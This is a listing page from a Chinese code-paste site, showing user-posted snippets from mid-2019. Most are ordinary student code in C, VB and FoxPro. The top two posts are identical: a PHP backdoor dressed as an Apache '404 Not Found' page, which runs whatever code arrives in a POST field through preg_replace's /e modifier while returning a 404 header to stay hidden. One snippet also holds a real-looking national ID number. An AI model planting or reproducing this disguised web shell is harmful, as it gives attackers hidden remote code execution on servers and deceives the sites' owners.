首页    新闻    小组    威客    人才    下载    博客    代码贴    在线编程    论坛
代码贴随便看看全站
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
<html><head> 
<title>404 Not Found</title> 
</head><body> 
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
</body></html> 
<?php 
@preg_replace("/[pageerror]/e",$_POST['error'],"saft"); 
header('HTTP/1.1 404 Not Found'); 
?>
阅读全部 | JYF789JKL 贴于 2019年7月5日 16:05     hide bbsi
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
<html><head> 
<title>404 Not Found</title> 
</head><body> 
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
</body></html> 
<?php 
@preg_replace("/[pageerror]/e",$_POST['error'],"saft"); 
header('HTTP/1.1 404 Not Found'); 
?>
阅读全部 | JYF789JKL 贴于 2019年7月5日 15:30     hide bbsi
请问有没有办法让2个不同的机器兼容考勤(中控和科密)
阅读全部 | bibiHe 贴于 2019年7月5日 10:50     hide bbsi
#include <stdio.h>
#define IN "in.txt"
#define OUT "out.txt"
#define KEY 0x5C//宏定义
void scrambler(const char *in, const char *out, unsigned char key)
{
    FILE *i, *o;//定义指向FILE类型的指针变量
    int c;
    
    i = fopen(in, "rb");
    o = fopen(out, "wb");//打开文件,因为假定可读写,所以对是否成功不做判断
    while((c = fgetc(i))!=EOF)//读入字符直到文件结尾
......................
阅读全部 | 石碣 贴于 2019年6月25日 00:04     hide bbsi
Public Class frmLogin
    Dim cnt As Integer
    Dim fd As Integer

    Private Sub ComboBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Cbotype.SelectedIndexChanged

    End Sub

    Private Sub frmLogin_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        'TODO: 这行代码将数据加载到表“VB.userinformation”中。您可以根据需要移动或删除它。
        Me.UserinformationTableAdapter.Fill(Me.VB.userinformation)
        Cbotype.SelectedIndex = 0
......................
阅读全部 | 李胜男 贴于 2019年6月20日 22:56     hide bbsi
Private Sub frmLogin_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        'TODO: 这行代码将数据加载到表“VB.userinformation”中。您可以根据需要移动或删除它。
        Me.UserinformationTableAdapter.Fill(Me.VB.userinformation)
        Cbotype.SelectedIndex = 0
        If userid = "" Then
            cnt = 0
            txtuser.Text = "李浩波"
            txtpwd = ""
        End If
    End Sub
阅读全部 | 李胜男 贴于 2019年6月20日 22:56     hide bbsi
SFZH=[141027197802163033]

*-- 判断身份证长度
IF LEN(SFZH)!=18
   MESSAGEBOX([身份证号码长度为 ]+TRANSFORM(LEN(SFZH))+[ 位])
ENDIF

*-- 判断年
NYEAR=INT(VAL(SUBSTR(SFZH,7,4)))
IF NOT BETWEEN(NYEAR,1900,YEAR(DATE()))
   MESSAGEBOX([身份证 年 错误 【]+TRANSFORM(NYEAR)+[】])
   RETURN NYEAR
......................
阅读全部 | 我是一颗小草 贴于 2019年6月13日 13:03     hide bbsi
void numpaixu()
{
int i,j,t;
struct file temp;
for(i=0;i<n-1;i++)
for(j=i+1;j<n;j++)
if(f[i].W_number>f[j].W_number)
{
temp=f[i];
f[i]=f[j];
f[j]=temp;
}
......................
阅读全部 | gaosiyu 贴于 2019年6月10日 15:05     hide bbsi
Private Sub Command l_ClickO
Dim key As String
Dim a As Integer, s As Integer, ans As Integer, ch As String
key = Textl .Text
i=l
Do While i<=Len(key)
ch=Mid(key, i ,1)
If ch >= "0" And ch <= "9,, Then
                                                        
Else
Exit Do 
End If
......................
阅读全部 | h2918228916 贴于 2019年6月7日 20:06     hide bbsi
#include <stdio.h>
void main()
{
 int m,n,k,i,a[20]; 
 printf("输入十进制数m和要转换的进制数k:");
 scanf("%d%d",&m,&k);
 n=m;
 for(i=0;m;i++)
 {
  a[i]=m%k;                  /*求出余数*/
  m/=k;                   /*求出商*/
 }
......................
阅读全部 | 小白灵异 贴于 2019年6月6日 11:16     hide bbsi
上一页 116 117 118 119 120 121 122 123 124 125 下一页